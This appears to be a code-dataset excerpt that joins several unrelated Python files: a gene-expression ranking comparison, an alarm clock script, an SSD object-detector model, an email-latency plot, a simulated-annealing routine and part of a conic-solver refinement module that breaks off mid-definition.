read_list(\"/home/gentoo/src/similarity/test_strategies/ex_vs_ex_gene_mean/expression.csv\",count)\nmax = read_list(\"/home/gentoo/src/similarity/test_strategies/ex_vs_ex_gene_max/expression.csv\",count)\nabi = read_list2(\"ABI-correlation-Znfx1-69524632.csv\",count + 1)\n\nMI_exp = read_list(\"/home/gentoo/src/thesis/data/MI_Znfx1_69524632_similarity_results_experiment.csv.csv\",count)\nGC_exp = read_list(\"/home/gentoo/src/thesis/data/GC_Znfx1_69524632_similarity_results_experiment.csv.csv\",count)\nMS_exp = read_list(\"/home/gentoo/src/thesis/data/MeanSquares_Znfx1_69524632_similarity_results_experiment.csv.csv\",count)\n\nMI_exp_raw_no_mask = read_list(\"/home/gentoo/src/similarity/metrics_raw/expression_raw_nomask_MI_Znfx1.csv\",count)\nMI_exp_raw_mask = read_list(\"/home/gentoo/src/similarity/metrics_raw/expression_raw_withmask_MI_Znfx1.csv\",count)\n\npears = read_list3(\"/home/gentoo/src/similarity/pearson_corr/expressionZnfx1_P56_sagittal_69524632_200um_2dsurqec_mirrored.nii.gz.csv\",count)\npears_raw = read_list3(\"/home/gentoo/src/similarity/pearson_raw/expressionZnfx1_P56_sagittal_69524632_200um_2dsurqec.nii.gz.csv\",count)\nprint(\"MI_exp\")\nprint(MI_exp)\nprint(\"max\")\nprint(max)\nprint(\"mean\")\nprint(mean)\nprint(\"GC_exp\")\nprint(GC_exp)\nprint(\"abi\")\nprint(abi)\nprint(\"pears\")\nprint(pears)\nprint(\"pears_raw\")\nprint(pears_raw)\nprint(\"MI_exp_raw_no_mask\")\nprint(MI_exp_raw_no_mask )\n\n\nall = [mean,max,abi,MI_exp,GC_exp,pears,pears_raw,MI_exp_raw_no_mask,MI_exp_raw_mask,MS_exp ]\nnames = [\"mean\",\"max\",\"abi\",\"MI_exp\",\"GC_exp\",\"pears\",\"pears_raw\",\"MI_exp_raw_no_mask\",\"MI_exp_raw_mask \", \"MS_exp\"]\n\nkendall_scores = list()\ngeneralized_kendall_scores = list()\noverlap_scores = list()\nrbo_scores = list()\n\n\nprint(\"Count = \" + str(count))\nprint(\"-----------------------\")\nfor i in range(0,len(all)):\n for j in range(i+1,len(all)):\n a = all[i]\n b = all[j]\n \n name = names[i] + \" vs \" + names[j]\n print(\"comparing: \" + names[i] + \" and \" + names[j])\n print(\"----------------------------------------------\")\n\n\n\n print(\"generallized kendall tau\")\n tau,Z,p_value = generalized_kendall_tau(a,b,count)\n print(tau,p_value)\n print(\" \")\n print(\" \")\n generalized_kendall_scores.append([name,tau,p_value])\nprint(\"---------------------------------------\")\nfor i in range(0,len(all)):\n for j in range(i+1,len(all)):\n a = all[i]\n b = all[j]\n\n name = names[i] + \" vs \" + names[j]\n print(\"comparing: \" + names[i] + \" and \" + names[j])\n print(\"----------------------------------------------\")\n\n\n\n print(\"kendalltau\")\n cor,p = kendalltau(a,b)\n print(cor,p)\n print(\" \")\n print(\" \")\n\n kendall_scores.append([name,cor,p])\nprint(\"---------------------------------------\")\nfor i in range(0,len(all)):\n for j in range(i+1,len(all)):\n a = all[i]\n b = all[j]\n\n name = names[i] + \" vs \" + names[j]\n print(\"comparing: \" + names[i] + \" and \" + names[j])\n print(\"----------------------------------------------\")\n\n\n\n\n print(\"rbo\")\n ext,p = calc_rbo(a,b,0.9,count)\n print(ext,p)\n print(\" \")\n print(\" \")\n\n rbo_scores.append([name,ext,p])\nprint(\"---------------------------------------\")\nfor i in range(0,len(all)):\n for j in range(i+1,len(all)):\n a = all[i]\n b = all[j]\n\n name = names[i] + \" vs \" + names[j]\n print(\"comparing: \" + names[i] + \" and \" + names[j])\n print(\"----------------------------------------------\")\n\n\n print(\"% list overlap\")\n val = overlap(a,b)\n print(val)\n print(\" \")\n print(\" \")\n overlap_scores.append([name,val])\n\n#sort after hightest score\ngk = sorted(generalized_kendall_scores,key=lambda x: x[1])\nk = sorted(kendall_scores,key=lambda x: x[1])\nr = sorted(rbo_scores,key=lambda x: x[1])\no = sorted(overlap_scores,key=lambda x: x[1])\n\nprint(gk)\n\n\n\nplt.rcParams.update({'font.size': 6})\n\nx_axis = range(1, len(gk) + 1)\n\ny_gk = [item[1] for item in gk]\ny_k = [item[1] for item in k]\ny_o = [item[1] for item in o]\ny_r = [item[1] for item in r]\n\n\nprint(y_gk)\n\nprint(len(y_gk))\nnames_gk = [item[0] for item in gk]\nnames_k = [item[0] for item in k]\nnames_o = [item[0] for item in o]\nnames_r = [item[0] for item in r]\n\nfig1,ax1 = plt.subplots()\nfig1.subplots_adjust(bottom=0.3)\nax1.plot(x_axis,y_gk)\nax1.set_title(\"Generalized Kendall Tau\")\nplt.vlines(x_axis,0,1,linestyles='dashed',lw=0.5,colors='lightgrey')\nplt.xticks(x_axis,names_gk,rotation=90)\n\nplt.savefig(\"/home/gentoo/Sync/Send/a.png\")\n\n\nfig2,ax2 = plt.subplots()\nfig2.subplots_adjust(bottom=0.3)\nax2.plot(x_axis,y_k)\nax2.set_title(\"Kendall Tau\")\nplt.vlines(x_axis,0,1,linestyles='dashed',lw=0.5,colors='lightgrey')\nplt.xticks(x_axis,names_k,rotation=90)\nplt.savefig(\"/home/gentoo/Sync/Send/b.png\")\n\nfig3,ax3 = plt.subplots()\nfig3.subplots_adjust(bottom=0.3)\nax3.plot(x_axis,y_r)\nax3.set_title(\"RBO\")\nplt.vlines(x_axis,0,1,linestyles='dashed',lw=0.5,colors='lightgrey')\nplt.xticks(x_axis,names_r,rotation=90)\nplt.savefig(\"/home/gentoo/Sync/Send/c.png\")\n\nfig4,ax4 = plt.subplots()\nfig4.subplots_adjust(bottom=0.3)\nax4.plot(x_axis,y_o)\nax4.set_title(\"Overlap\")\nplt.vlines(x_axis,0,1,linestyles='dashed',lw=0.5,colors='lightgrey')\nplt.xticks(x_axis,names_o,rotation=90)\nplt.savefig(\"/home/gentoo/Sync/Send/d.png\")\n\n\n\n\n\n#sort after name\ngk = sorted(generalized_kendall_scores,key=lambda x: x[0])\nk = sorted(kendall_scores,key=lambda x: x[0])\nr = sorted(rbo_scores,key=lambda x: x[0])\no = sorted(overlap_scores,key=lambda x: x[0])\n\ny_gk = [item[1] for item in gk]\ny_k = [item[1] for item in k]\ny_o = [item[1] for item in o]\ny_r = [item[1] for item in r]\n\n\nnames_gk = [item[0] for item in gk]\nnames_k = [item[0] for item in k]\nnames_o = [item[0] for item in o]\nnames_r = [item[0] for item in r]\n\n\nfig5,ax5 = plt.subplots()\nfig5.subplots_adjust(bottom=0.3)\nax5.plot(x_axis,y_o,label=\"overlap\",lw=0.8)\nax5.plot(x_axis,y_r,label = \"rbo\",lw=0.8)\nax5.plot(x_axis,y_gk,label = \"generalized kendalltau\",lw=0.8)\nax5.plot(x_axis,y_k,label=\"kendall tau\",lw=0.8)\nplt.vlines(x_axis,0,1,linestyles='dashed',lw=0.5,colors='lightgrey')\nplt.xticks(x_axis,names_o,rotation=90)\nplt.legend()\nplt.savefig(\"/home/gentoo/Sync/Send/e.png\")\n\n\n\n\n\n\n","sub_path":"Comparison.py","file_name":"Comparison.py","file_ext":"py","file_size_in_byte":12338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"279389582","text":"\"\"\" Alarm Clock ---\nA simple clock where it plays a sound after\nX number of minutes/seconds or at a particular time.\n\"\"\"\n\nfrom pygame import mixer\nimport time\n\ndef alarm_Clock():\n mixer.init()\n \n sleep_clock = input(\"How long do you wish for me to sleep for? \")\n time.sleep(int(sleep_clock))\n\n print(\"Wake the F*CK up.\")\n \n mixer.music.load(\"C:\\\\Users\\\\Legnedzs\\\\Desktop\\\\Programming\\\\Python\\\\Mega_Project_Solutions\\\\Numbers\\\\Nevereverland-Nano.mp3\")\n mixer.music.play()\n","sub_path":"Numbers/Alarm Clock.py","file_name":"Alarm Clock.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"421597738","text":"# Copyright (c) 2018-2019, NVIDIA CORPORATION. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom torchvision.models.resnet import resnet18, resnet34, resnet50, resnet101, resnet152\nfrom SSD.SSD_sgrvinod.utils import *\nimport numpy as np\n\n\nclass SSD(nn.Module):\n \"\"\"\n This is an adaptation of Nvidia's SSD implementation, with additions from\n sgrvinod's implementation\n \"\"\"\n def __init__(self, backbone, num_classes):\n super().__init__()\n\n self.feature_extractor = backbone\n\n self.label_num = num_classes # number of COCO classes\n self._build_additional_features(self.feature_extractor.out_channels)\n self.num_defaults = [4, 6, 6, 6, 4, 4]\n self.loc = []\n self.conf = []\n self.priors_cxcy = self.create_prior_boxes()\n\n for nd, oc in zip(self.num_defaults, self.feature_extractor.out_channels):\n self.loc.append(nn.Conv2d(oc, nd * 4, kernel_size=3, padding=1))\n self.conf.append(nn.Conv2d(oc, nd * self.label_num, kernel_size=3, padding=1))\n\n self.loc = nn.ModuleList(self.loc)\n self.conf = nn.ModuleList(self.conf)\n self._init_weights()\n\n def _build_additional_features(self, input_size):\n self.additional_blocks = []\n for i, (input_size, output_size, channels) in enumerate(zip(input_size[:-1], input_size[1:], [256, 256, 128, 128, 128])):\n if i < 3:\n layer = nn.Sequential(\n nn.Conv2d(input_size, channels, kernel_size=1, bias=False),\n nn.BatchNorm2d(channels),\n nn.ReLU(inplace=True),\n nn.Conv2d(channels, output_size, kernel_size=3, padding=1, stride=2, bias=False),\n nn.BatchNorm2d(output_size),\n nn.ReLU(inplace=True),\n )\n else:\n layer = nn.Sequential(\n nn.Conv2d(input_size, channels, kernel_size=1, bias=False),\n nn.BatchNorm2d(channels),\n nn.ReLU(inplace=True),\n nn.Conv2d(channels, output_size, kernel_size=3, bias=False),\n nn.BatchNorm2d(output_size),\n nn.ReLU(inplace=True),\n )\n\n self.additional_blocks.append(layer)\n\n self.additional_blocks = nn.ModuleList(self.additional_blocks)\n\n def _init_weights(self):\n layers = [*self.additional_blocks, *self.loc, *self.conf]\n for layer in layers:\n for param in layer.parameters():\n if param.dim() > 1: nn.init.xavier_uniform_(param)\n\n # Shape the classifier to the view of bboxes\n def bbox_view(self, src, loc, conf):\n ret = []\n for s, l, c in zip(src, loc, conf):\n ret.append((l(s).view(s.size(0), 4, -1), c(s).view(s.size(0), self.label_num, -1)))\n\n locs, confs = list(zip(*ret))\n locs, confs = torch.cat(locs, 2).contiguous(), torch.cat(confs, 2).contiguous()\n\n return locs, confs\n\n def forward(self, x):\n x = self.feature_extractor(x)\n\n detection_feed = [x]\n for l in self.additional_blocks:\n x = l(x)\n detection_feed.append(x)\n\n # Feature Map 38x38x4, 19x19x6, 10x10x6, 5x5x6, 3x3x4, 1x1x4\n locs, confs = self.bbox_view(detection_feed, self.loc, self.conf)\n\n # For SSD 300, shall return nbatch x 8732 x {nlabels, nlocs} results\n locs = locs.transpose(1,2) # Added becsuse the output shape is actually not what's above...\n confs = confs.transpose(1,2) # Same reason...\n return locs, confs\n\n\n def detect_objects(self, predicted_locs, predicted_scores, min_score, max_overlap, top_k):\n \"\"\"\n TAKEN FROM https://github.com/sgrvinod/a-PyTorch-Tutorial-to-Object-Detection/blob/master/model.py\n\n Decipher the 8732 locations and class scores (output of ths SSD300) to detect objects.\n For each class, perform Non-Maximum Suppression (NMS) on boxes that are above a minimum threshold.\n :param predicted_locs: predicted locations/boxes w.r.t the 8732 prior boxes, a tensor of dimensions (N, 8732, 4)\n :param predicted_scores: class scores for each of the encoded locations/boxes, a tensor of dimensions (N, 8732, n_classes)\n :param min_score: minimum threshold for a box to be considered a match for a certain class\n :param max_overlap: maximum overlap two boxes can have so that the one with the lower score is not suppressed via NMS\n :param top_k: if there are a lot of resulting detection across all classes, keep only the top 'k'\n :return: detections (boxes, labels, and scores), lists of length batch_size\n \"\"\"\n batch_size = predicted_locs.size(0)\n n_priors = self.priors_cxcy.size(0)\n predicted_scores = F.softmax(predicted_scores, dim=2) # (N, 8732, n_classes)\n\n # Lists to store final predicted boxes, labels, and scores for all images\n all_images_boxes = list()\n all_images_labels = list()\n all_images_scores = list()\n\n assert n_priors == predicted_locs.size(1) == predicted_scores.size(1)\n\n for i in range(batch_size):\n # Decode object coordinates from the form we regressed predicted boxes to\n decoded_locs = cxcy_to_xy(\n gcxgcy_to_cxcy(predicted_locs[i], self.priors_cxcy)) # (8732, 4), these are fractional pt. coordinates\n\n # Lists to store boxes and scores for this image\n image_boxes = list()\n image_labels = list()\n image_scores = list()\n\n max_scores, best_label = predicted_scores[i].max(dim=1) # (8732)\n\n # Check for each class\n for c in range(1, self.label_num):\n # Keep only predicted boxes and scores where scores for this class are above the minimum score\n class_scores = predicted_scores[i][:, c] # (8732)\n score_above_min_score = class_scores > min_score # torch.uint8 (byte) tensor, for indexing\n n_above_min_score = score_above_min_score.sum().item()\n if n_above_min_score == 0:\n continue\n\n class_scores = class_scores[score_above_min_score] # (n_qualified), n_min_score <= 8732\n class_decoded_locs = decoded_locs[score_above_min_score] # (n_qualified, 4)\n\n # Sort predicted boxes and scores by scores\n class_scores, sort_ind = class_scores.sort(dim=0, descending=True) # (n_qualified), (n_min_score)\n class_decoded_locs = class_decoded_locs[sort_ind] # (n_min_score, 4)\n\n # Find the overlap between predicted boxes\n overlap = find_jaccard_overlap(class_decoded_locs, class_decoded_locs) # (n_qualified, n_min_score)\n\n # Non-Maximum Suppression (NMS)\n\n # A torch.uint8 (byte) tensor to keep track of which predicted boxes to suppress\n # 1 implies suppress, 0 implies don't suppress\n suppress = torch.zeros((n_above_min_score), dtype=torch.uint8).to(device) # (n_qualified)\n\n # Consider each box in order of decreasing scores\n for box in range(class_decoded_locs.size(0)):\n # If this box is already marked for suppression\n if suppress[box] == 1:\n continue\n\n # Suppress boxes whose overlaps (with this box) are greater than maximum overlap\n # Find such boxes and update suppress indices\n condition = overlap[box] > max_overlap\n condition = torch.tensor(condition, dtype=torch.uint8).to(device)\n suppress = torch.max(suppress, condition)\n # The max operation retains previously suppressed boxes, like an 'OR' operation\n\n # Don't suppress this box, even though it has an overlap of 1 with itself\n suppress[box] = 0\n\n # Store only unsuppressed boxes for this class\n image_boxes.append(class_decoded_locs[1 - suppress])\n image_labels.append(torch.LongTensor((1 - suppress).sum().item() * [c]).to(device))\n image_scores.append(class_scores[1 - suppress])\n\n # If no object in any class is found, store a placeholder for 'background'\n if len(image_boxes) == 0:\n image_boxes.append(torch.FloatTensor([[0., 0., 1., 1.]]).to(device))\n image_labels.append(torch.LongTensor([0]).to(device))\n image_scores.append(torch.FloatTensor([0.]).to(device))\n\n # Concatenate into single tensors\n image_boxes = torch.cat(image_boxes, dim=0) # (n_objects, 4)\n image_labels = torch.cat(image_labels, dim=0) # (n_objects)\n image_scores = torch.cat(image_scores, dim=0) # (n_objects)\n n_objects = image_scores.size(0)\n\n # Keep only the top k objects\n if n_objects > top_k:\n image_scores, sort_ind = image_scores.sort(dim=0, descending=True)\n image_scores = image_scores[:top_k] # (top_k)\n image_boxes = image_boxes[sort_ind][:top_k] # (top_k, 4)\n image_labels = image_labels[sort_ind][:top_k] # (top_k)\n\n # Append to lists that store predicted boxes and scores for all images\n all_images_boxes.append(image_boxes)\n all_images_labels.append(image_labels)\n all_images_scores.append(image_scores)\n\n return all_images_boxes, all_images_labels, all_images_scores # lists of length batch_size\n\n def create_prior_boxes(self):\n \"\"\"\n TAKEN FROM https://github.com/sgrvinod/a-PyTorch-Tutorial-to-Object-Detection/blob/master/model.py\n\n Create the 8732 prior (default) boxes for the SSD300, as defined in the paper.\n :return: prior boxes in center-size coordinates, a tensor of dimensions (8732, 4)\n \"\"\"\n fmap_dims = {'conv4_3': 38,\n 'conv7': 19,\n 'conv8_2': 10,\n 'conv9_2': 5,\n 'conv10_2': 3,\n 'conv11_2': 1}\n\n obj_scales = {'conv4_3': 0.1,\n 'conv7': 0.2,\n 'conv8_2': 0.375,\n 'conv9_2': 0.55,\n 'conv10_2': 0.725,\n 'conv11_2': 0.9}\n\n aspect_ratios = {'conv4_3': [1., 2., 0.5],\n 'conv7': [1., 2., 3., 0.5, .333],\n 'conv8_2': [1., 2., 3., 0.5, .333],\n 'conv9_2': [1., 2., 3., 0.5, .333],\n 'conv10_2': [1., 2., 0.5],\n 'conv11_2': [1., 2., 0.5]}\n\n fmaps = list(fmap_dims.keys())\n\n prior_boxes = []\n\n for k, fmap in enumerate(fmaps):\n for i in range(fmap_dims[fmap]):\n for j in range(fmap_dims[fmap]):\n cx = (j + 0.5) / fmap_dims[fmap]\n cy = (i + 0.5) / fmap_dims[fmap]\n\n for ratio in aspect_ratios[fmap]:\n prior_boxes.append([cx, cy, obj_scales[fmap] * np.sqrt(ratio), obj_scales[fmap] / np.sqrt(ratio)])\n\n # For an aspect ratio of 1, use an additional prior whose scale is the geometric mean of the\n # scale of the current feature map and the scale of the next feature map\n if ratio == 1.:\n try:\n additional_scale = np.sqrt(obj_scales[fmap] * obj_scales[fmaps[k + 1]])\n # For the last feature map, there is no \"next\" feature map\n except IndexError:\n additional_scale = 1.\n prior_boxes.append([cx, cy, additional_scale, additional_scale])\n\n prior_boxes = torch.FloatTensor(prior_boxes).to(device) # (8732, 4)\n prior_boxes.clamp_(0, 1) # (8732, 4)\n\n return prior_boxes\n\n\nclass Loss(nn.Module):\n \"\"\"\n Implements the loss as the sum of the followings:\n 1. Confidence Loss: All labels, with hard negative mining\n 2. Localization Loss: Only on positive labels\n Suppose input dboxes has the shape 8732x4\n \"\"\"\n def __init__(self, dboxes):\n super(Loss, self).__init__()\n self.scale_xy = 1.0/dboxes.scale_xy\n self.scale_wh = 1.0/dboxes.scale_wh\n\n self.sl1_loss = nn.SmoothL1Loss(reduce=False)\n self.dboxes = nn.Parameter(dboxes(order=\"xywh\").transpose(0, 1).unsqueeze(dim = 0),\n requires_grad=False)\n # Two factor are from following links\n # http://jany.st/post/2017-11-05-single-shot-detector-ssd-from-scratch-in-tensorflow.html\n self.con_loss = nn.CrossEntropyLoss(reduce=False)\n\n def _loc_vec(self, loc):\n \"\"\"\n Generate Location Vectors\n \"\"\"\n gxy = self.scale_xy*(loc[:, :2, :] - self.dboxes[:, :2, :])/self.dboxes[:, 2:, ]\n gwh = self.scale_wh*(loc[:, 2:, :]/self.dboxes[:, 2:, :]).log()\n return torch.cat((gxy, gwh), dim=1).contiguous()\n\n def forward(self, ploc, plabel, gloc, glabel):\n \"\"\"\n ploc, plabel: Nx4x8732, Nxlabel_numx8732\n predicted location and labels\n\n gloc, glabel: Nx4x8732, Nx8732\n ground truth location and labels\n \"\"\"\n mask = glabel > 0\n pos_num = mask.sum(dim=1)\n\n vec_gd = self._loc_vec(gloc)\n\n # sum on four coordinates, and mask\n sl1 = self.sl1_loss(ploc, vec_gd).sum(dim=1)\n sl1 = (mask.float()*sl1).sum(dim=1)\n\n # hard negative mining\n con = self.con_loss(plabel, glabel)\n\n # postive mask will never selected\n con_neg = con.clone()\n con_neg[mask] = 0\n _, con_idx = con_neg.sort(dim=1, descending=True)\n _, con_rank = con_idx.sort(dim=1)\n\n # number of negative three times positive\n neg_num = torch.clamp(3*pos_num, max=mask.size(1)).unsqueeze(-1)\n neg_mask = con_rank < neg_num\n\n #print(con.shape, mask.shape, neg_mask.shape)\n closs = (con*(mask.float() + neg_mask.float())).sum(dim=1)\n\n # avoid no object detected\n total_loss = sl1 + closs\n num_mask = (pos_num > 0).float()\n pos_num = pos_num.float().clamp(min=1e-6)\n ret = (total_loss*num_mask/pos_num).mean(dim=0)\n return ret\n","sub_path":"SSD/ssd.py","file_name":"ssd.py","file_ext":"py","file_size_in_byte":15466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"564611539","text":"from get_data import times\nfrom datetime import datetime\nimport numpy as np\nfrom aerosandbox.tools.pretty_plots import mpl, plt, sns, show_plot\n\nsns.set_style('ticks')\n\n### Clean the data\ntimes = np.array(times)\n\nvalid_range = (\n datetime(year=1900, month=1, day=1, hour=18, minute=42),\n datetime(year=1900, month=1, day=1, hour=21)\n)\nplot_range = (\n datetime(year=1900, month=1, day=1, hour=18, minute=30),\n datetime(year=1900, month=1, day=1, hour=21)\n)\n\ntimes = times[np.logical_and(times > valid_range[0], times < valid_range[1])]\n\n### Set a time format\ntime_formatter = mpl.dates.DateFormatter(\"%I:%M %p\")\n\n### Compute statistics about the data\nemail_send_time = datetime(year=1900, month=1, day=1, hour=18, minute=43)\nmedian_latency = np.median(np.array([\n time - email_send_time for time in times\n]))\nmedian_response_time = email_send_time + median_latency\n\n### Plot the data\nfig, ax = plt.subplots(figsize=(8, 6))\n\n# Plot the responses\nsns.histplot(\n times,\n bins=30,\n kde=True\n)\n\n# Plot the email send time\nplt.axvline(x=email_send_time, ls='--', color=\"k\")\nplt.text(\n x=email_send_time,\n y=0.9 * ax.get_ylim()[1] + (1 - 0.9) * ax.get_ylim()[0],\n s=f\"Email sent ({email_send_time.time().__format__('%I:%M %p')})\",\n color=\"k\",\n horizontalalignment='right',\n verticalalignment='top',\n rotation=90\n)\n\n# Plot the median response\nplt.axvline(x=median_response_time, ls='--', color=\"k\")\nplt.text(\n x=median_response_time,\n y=0.9 * ax.get_ylim()[1] + (1 - 0.9) * ax.get_ylim()[0],\n s=f\"Median receipt time\\n({median_response_time.time().__format__('%I:%M %p')}, {int(np.round(median_latency.seconds / 60))} min)\",\n color=\"k\",\n horizontalalignment='right',\n verticalalignment='top',\n rotation=90\n)\n\n# Format and show\nax.xaxis.set_major_formatter(time_formatter)\nax.xaxis.set_major_locator(mpl.dates.MinuteLocator([0, 30]))\nax.xaxis.set_minor_locator(mpl.dates.MinuteLocator([0, 10, 20, 30, 40, 50]))\nplt.xlim(*plot_range)\nplt.gcf().autofmt_xdate(rotation=45, ha='center')\n\nshow_plot(\n f\"Email Latency of free-food@mit.edu and free-foods@mit.edu (N={len(times)})\",\n \"Receipt Time\",\n pretty_grids=False,\n show=False\n)\nplt.savefig(\"plot.png\", dpi=300)\nplt.show()\n","sub_path":"analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"70683756","text":"import os\nimport random\nimport math\n\n__author__ = 'anddor'\n\n\ndef sa_algorithm(problem, temp, d_temp):\n p = problem.get_start # p is the current solution, not the value\n start_temp = temp\n i = 0 # iteration number, for testing etc.\n while True and temp > 0:\n i += 1\n value = problem.obj_function(p) # value of the current solution\n # print status:\n # progress = \"=\" * int(math.floor(value * 10))\n # left = \" \" * int(math.floor((1 - value) * 10))\n # print \"Progress: [{} {}]\".format(progress, left)\n # print \"Iteration {}\".format(i)\n if value >= problem.target:\n # If the value is \"good enough\", we return.\n return p\n\n neighbors = problem.generate_neighbors(p, 5) # generates 30 neighbors of the given state p\n neighbors.append(p)\n p_max = max(neighbors, key=problem.obj_function) # p_max is the current best next solution\n # How much better the new solution is:\n q = (problem.obj_function(p_max) - value) / max(value, 0.00000001) # max() to avoid divide by zero\n\n # the bounds for exploitation, higher temp gives more exploration:\n small_p = min(1, math.exp(-q / temp))\n\n x = random.random()\n if x > small_p:\n p = p_max # exploit\n else:\n p = neighbors[random.randint(0, len(neighbors) - 1)] # explore\n\n temp -= d_temp\n\n print(\"freeze\") # if no solution has been found before temp =< 0\n return p\n","sub_path":"sim_annealing/sa.py","file_name":"sa.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"85307732","text":"\"\"\"\nEnzo Busseti, Walaa Moursi, Stephen Boyd, 2018\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nimport time\nimport numpy as np\nfrom numpy.linalg import norm\nimport scipy.sparse as sp\nfrom scipy.sparse.linalg import LinearOperator\n\nfrom .lsqr import lsqr\n\nfrom .cones import prod_cone, free_cone, zero_cone,\\\n non_neg_cone, sec_ord_cone, semi_def_cone\n\nfrom .utils import *\n\nfrom numba import jit, njit\n\n\n@jit\ndef xsy2uv(x, s, y, tau=1., kappa=0.):\n return np.concatenate([x, y, [tau]]), \\\n np.concatenate([np.zeros(len(x)), s, [kappa]])\n\n\n@jit\ndef xsy2z(x, s, y, tau=1., kappa=0.):\n u, v = xsy2uv(x, s, y, tau, kappa)\n return u - v\n\n\n@jit\ndef uv2xsytaukappa(u, v, n):\n tau = np.float(u[-1])\n kappa = np.float(v[-1])\n x = np.array(u[:n]) / tau\n y = np.array(u[n:-1]) / tau\n s = np.array(v[n:-1]) / tau\n return x, s, y, tau, kappa\n\n\n@jit\ndef z2uv(z, n, cones):\n u, cache = embedded_cone_Pi(z, cones, n)\n return u, u - z, cache\n\n\n@jit\ndef z2xsy(z, n, cones):\n # TODO implement infeasibility cert.\n u, cache = embedded_cone_Pi(z, cones, n)\n v = u - z\n x, s, y, tau, kappa = uv2xsytaukappa(u, v, n)\n return x, s, y\n\n\n@jit\ndef Q_matvec(A, b, c, u):\n m, n = A.shape\n if len(u.shape) > 0:\n u = u.flatten()\n result = np.empty_like(u)\n result[:n] = A.T@u[n:-1] + c * u[-1]\n result[n:-1] = -A@u[:n] + b * u[-1]\n result[-1] = -c.T@u[:n] - b.T@u[n:-1]\n return result\n\n\n@jit\ndef Q_rmatvec(A, b, c, u):\n return -Q_matvec(A, b, c, u)\n\n\ndef Q(A, b, c):\n m, n = A.shape\n return LinearOperator(shape=(n + m + 1, n + m + 1),\n matvec=lambda u: Q_matvec(A, b, c, u),\n rmatvec=lambda v: - Q_matvec(A, b, c, v))\n\n\n@jit\ndef norm_Q(A, b, c):\n return sp.linalg.svds(Q(A, b, c), k=1)[1][0]\n\n\n@jit\ndef residual_D(z, dz, A, b, c, cones_caches):\n du = embedded_cone.D(z, dz, cones_caches)\n dv = du - dz\n return Q_matvec(A, b, c, du) - dv\n\n\n@jit\ndef residual_DT(z, dres, A, b, c, cones_caches):\n return embedded_cone.DT(z,\n -Q_matvec(A, b, c, dres) - dres,\n cones_caches) + dres\n\n\n@jit\ndef residual_and_uv(z, A, b, c, cones):\n m, n = A.shape\n u, cache = embedded_cone.Pi(z, cones, n)\n v = u - z\n return Q_matvec(A, b, c, u) - v, u, v, cache\n\n\n#@jit\ndef residual(z, A, b, c, cones):\n res, u, v, cache = residual_and_uv(z, A, b, c, cones)\n return res, cache\n\n\ndef scs_solve(A, b, c, dim_dict, **kwargs):\n \"\"\"Wraps scs.solve for convenience.\"\"\"\n sol = scs.solve({'A': A, 'b': b,\n 'c': c},\n cone=dim_dict,\n use_indirect=True,\n # cg_rate=2.,\n normalize=True,\n scale=1.,\n **kwargs)\n info = sol['info']\n\n if info['statusVal'] > 0:\n z = xsy2z(sol['x'], sol['s'], sol['y'], tau=1., kappa=0.)\n\n if info['statusVal'] < 0:\n sol['x'] = np.zeros_like(sol['x']) \\\n if np.any(np.isnan(sol['x'])) else sol['x']\n\n sol['s'] = np.zeros_like(sol['s']) \\\n if np.any(np.isnan(sol['s'])) else sol['s']\n\n sol['y'] = np.zeros_like(sol['y']) \\\n if np.any(np.isnan(sol['y'])) else sol['y']\n\n z = xsy2z(sol['x'], sol['s'], sol['y'], tau=0., kappa=1.)\n\n return z, info\n\n\ndef ecos_solve(A, b, c, dim_dict, **kwargs):\n \"\"\"Wraps ecos.solve for convenience.\"\"\"\n ecos_cones = {'l': dim_dict['l'] if 'l' in dim_dict else 0,\n 'q': dim_dict['q'] if 'q' in dim_dict else [],\n 'e': dim_dict['ep'] if 'ep' in dim_dict else 0}\n # TODO check and block other cones\n zero = 0 if 'z' not in dim_dict else dim_dict['z']\n ecos_A, ecos_G = A[:zero, :], A[zero:, :]\n ecos_b, ecos_h = b[:zero], b[zero:]\n sol = ecos.solve(c=c, G=ecos_G, h=ecos_h, dims=ecos_cones,\n A=ecos_A, b=ecos_b, **kwargs)\n\n z = xsy2z(sol['x'],\n np.concatenate([np.zeros(zero), sol['s']]),\n np.concatenate([sol['y'], sol['z']]),\n tau=1., kappa=0.)\n\n return z, sol['info']\n\n\n@jit\ndef print_header(z, norm_Q):\n print()\n print()\n print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')\n print(' Conic Solution Refinement ')\n print(' E. Busseti, W. Moursi, S. Boyd ')\n print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')\n print(' len(z) = %d, ||z|| = %.2e, ||Q||_2 = %.2e ' %\n (len(z), np.linalg.norm(z), norm_Q))\n print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')\n print(\"it. ||R(z)/z[-1]||_2 z[-1] LSQR btrks time\")\n print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')\n\n\n@jit\ndef 